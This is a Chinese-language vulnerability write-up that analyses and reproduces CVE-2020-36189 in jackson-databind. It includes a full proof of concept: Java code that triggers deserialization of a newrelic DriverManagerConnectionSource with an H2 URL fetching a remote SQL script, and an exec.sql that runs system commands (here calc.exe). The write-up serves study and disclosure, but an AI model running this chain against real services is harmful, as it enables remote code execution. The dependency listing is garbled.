CVE-2020-36189 jackson-databind java反序列化漏洞

漏洞原理

jackson-databind是一套开源的java序列化与反序列化工具框架，可将java对象序列化为xml和json格式的字符串及提供对应的反序列化过程。由于其解析效率较高，目前是Spring MVC中内置使用的解析方式，该漏洞的触发条件是ObjectMapper反序列化前调用了enableDefaultTyping方法。该方法允许json字符串中指定反序列化java对象的类名，而在使用Object、Map、List等对象时，可诱发反序列化漏洞，导致可执行任意命令。

jackson使用ObjectMapper作为转换的操作类，通过声明这个类来进行json的序列化与反序列化。

com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource类中实现了url的输入和调用，通过可控的url进行payload的打入，即可依靠ObjectMapper的反序列化漏洞实现SSRF和RCE。

如图是上述package的源码，在1处实现了对url的输入，在2处实现了调用，

所以本次漏洞利用的目标是通过反序列化json串，使项目执行DriverManager.getConnection()，构造参数实现远程执行命令
本次构建的目标是实现如下命令

DriverManager.getConnection(实现payload的数据库的url, username, password)
1

jbdc（java database connection）是一种java对数据库进行连接增删改查等操作的技术。
H2数据库是一个开源的内嵌式关系型数据库，此处使用了mem选项，数据直接存放在内存中。
TRACE_LEVEL_SYSTEM_OUT是某项设置，没有查到。
INIT=RUNSCRIPT FROM是在数据库连接时执行SQL语句。

上图是SQL语句形式的payload，即创建SHELLEXEC函数以执行。两组$$中间是作为引用将SHELLEXEC函数填写了java函数。

首先objectmapper.enableDefaultTyping()可以使mapper在读取时，识别除了自然类型（String, Int, Double等）之外的非常量类型，这个名字可以在json中写出，读取时便可以该类存储。

如图所示json字符串是[类名, {参数名:参数值,…,}]的形式，将对象的参数的类名打印，是json中的类名。

mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false)
参数设置，对象为空时不抛异常。

objectmapper.readvalue()将json串转化为了类对象，并将数值按参数填入。
objectmapper.writeValueAsString()再将对象转换为字符串。

那么为什么getConnection会执行又成了问题，源码太繁琐，工作量太大，换一个思路进行分析。
首先在userBase类里写下三个函数，分别是pubilic,private和CVE漏洞中本身的使用了java.sql中的Connection类的函数。

根据回显可以看到getConnection进行了执行，其余两项并没有

下载好h2数据库后，之前使用的payload也执行成功

但是如果直接赋值或是使用Class内部的setUsername方法均不会成功，因此推断是使用writeValueAsString序列化对象时会自动调用Connection方法。
在jackson源码中进行了对类中方法的扫描

源码太过复杂，源码级别分析确实过于困难，只能得出在使用writeValueAsString方法时Connection会自动执行的结论
首先简化Class，并将setUsername注释，可以看见payload执行成功

将public改为private，payload执行失败

之后取消set方法的注释，payload执行成功

因此该漏洞有两个利用条件：
–目标类中需要存在Connection方法
–Connection方法中的DriverManager.getConnection()中的参数需要可控
以上思路存在于CVE-2020-36179一直到CVE-2020-36189

漏洞复现

1、开启MVN项目，填写pom.xml，下载依赖

2、填写payload

3、将sql文件放到http服务上，执行payload使程序获取sql文件，通过反序列化使其执行sql文件内的命令，弹出计算器代表利用成功

附录

依赖项：

<dependencies>
        <dependency>
            <groupId>com.fasterxml.jackson.coregroupId>
            <artifactId>jackson-databindartifactId>
            <version>2.9.10.7version>
        dependency>
        
        <dependency>
            <groupId>com.newrelic.agent.javagroupId>
            <artifactId>newrelic-agentartifactId>
            <version>4.9.0version>
        dependency>
        
        <dependency>
            <groupId>com.h2databasegroupId>
            <artifactId>h2artifactId>
            <version>1.4.199version>
        dependency>

        <dependency>
            <groupId>org.slf4jgroupId>
            <artifactId>slf4j-nopartifactId>
            <version>1.7.2version>
        dependency>
        
        <dependency>
            <groupId>javax.transactiongroupId>
            <artifactId>jtaartifactId>
            <version>1.1version>
        dependency>
dependencies>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

POC

public class POC {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
        String json = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource\"," +
                " {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/exec.sql'\"}]";
        Object obj = mapper.readValue(json, Object.class);
        mapper.writeValueAsString(obj);
    }
}
1
2
3
4
5
6
7
8
9
10
11

exec.sql

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('calc.exe')
1
2
3
4
5